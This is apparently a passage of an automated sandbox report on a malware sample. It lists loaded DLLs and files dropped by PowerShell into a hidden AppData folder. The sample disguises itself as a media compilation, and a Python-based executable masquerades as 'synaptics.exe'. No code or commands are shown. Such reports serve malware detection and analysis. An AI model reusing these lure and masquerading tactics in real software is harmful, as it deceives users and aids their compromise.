              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: dnsapi.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeSection loaded: rasadhlp.dll
              Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dll
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeSection loaded: python310.dll
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeSection loaded: vcruntime140.dll
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeSection loaded: version.dll
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeSection loaded: cryptsp.dll
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeSection loaded: rsaenh.dll
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeSection loaded: cryptbase.dll
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeSection loaded: python3.dll
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeSection loaded: libcrypto-1_1.dll
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeSection loaded: iphlpapi.dll
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeSection loaded: libssl-1_1.dll
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeSection loaded: msasn1.dll
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeSection loaded: mswsock.dll
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeSection loaded: dnsapi.dll
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeSection loaded: rasadhlp.dll
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeSection loaded: fwpuclnt.dll
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeSection loaded: sqlite3.dll
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32
              Source: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeFile opened: C:\Users\user\AppData\Local\qkxB9Wn8nG\pyvenv.cfg
              Source: Window RecorderWindow detected: More than 3 window changes detected
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeFile created: \compilation of copyright-protected videos and images.exe
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeFile created: \compilation of copyright-protected videos and images.exe
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeFile created: \compilation of copyright-protected videos and images.exe
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeFile created: \compilation of copyright-protected videos and images.exe
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeFile created: \compilation of copyright-protected videos and images.exe
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeFile created: \compilation of copyright-protected videos and images.exe
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeFile created: \compilation of copyright-protected videos and images.exe
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeFile created: \compilation of copyright-protected videos and images.exe
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeFile created: \compilation of copyright-protected videos and images.exe
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeFile created: \compilation of copyright-protected videos and images.exe
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_Salsa20.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axcontrol\axcontrol.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_keccak.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_blowfish.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\axscript.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_SHA256.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Protocol\_scrypt.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_ARC4.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pywin32_system32\pythoncom310.dllJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\authorization\authorization.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\taskscheduler\taskscheduler.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\propsys\propsys.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\internet\internet.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_SHA512.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\perfmondata.dllJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_arc2.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\directsound\directsound.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\PublicKey\_x25519.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_cast.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_ofb.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exeJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_BLAKE2s.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_MD2.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\PublicKey\_ed448.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_aesni.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_des3.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_ctr.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pywin32_system32\pywintypes310.dllJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_SHA224.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\ifilter\ifilter.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\win32ui.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\odbc.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_SHA1.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\perfmon.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\win32uiole.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_cfb.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\mmapfile.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_MD4.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_chacha20.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_pkcs1_decode.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_poly1305.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_BLAKE2b.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Math\_modexp.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_des.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\pythonservice.exeJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_MD5.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_ocb.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_aes.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_ghash_clmul.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_ghash_portable.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_eksblowfish.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\mapi\mapi.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_ecb.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\PublicKey\_ec_ws.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\servicemanager.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\vcruntime140.dllJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\shell\shell.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_RIPEMD160.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_SHA384.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\PublicKey\_ed25519.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\scintilla.dllJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_cbc.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\python310.dllJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\adsi\adsi.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\bits\bits.pydJump to dropped file
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk
              Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\Downloads\Compilation of copyright-protected videos and images\Compilation of copyright-protected videos and images.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_Salsa20.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axcontrol\axcontrol.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_keccak.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_blowfish.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_SHA256.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\axscript\axscript.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Protocol\_scrypt.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pywin32_system32\pythoncom310.dllJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_ARC4.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\authorization\authorization.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\taskscheduler\taskscheduler.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\propsys\propsys.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_SHA512.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\internet\internet.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\perfmondata.dllJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\PublicKey\_x25519.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_arc2.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\directsound\directsound.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_ofb.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_cast.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_MD2.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_BLAKE2s.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\PublicKey\_ed448.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_aesni.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_ctr.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_des3.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pywin32_system32\pywintypes310.dllJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_SHA224.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32comext\ifilter\ifilter.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\odbc.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\win32ui.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_SHA1.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\perfmon.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\win32\mmapfile.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_raw_cfb.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\win32uiole.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Hash\_MD4.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_chacha20.pydJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\Crypto\Cipher\_pkcs1_decode.pydJump to dropped file
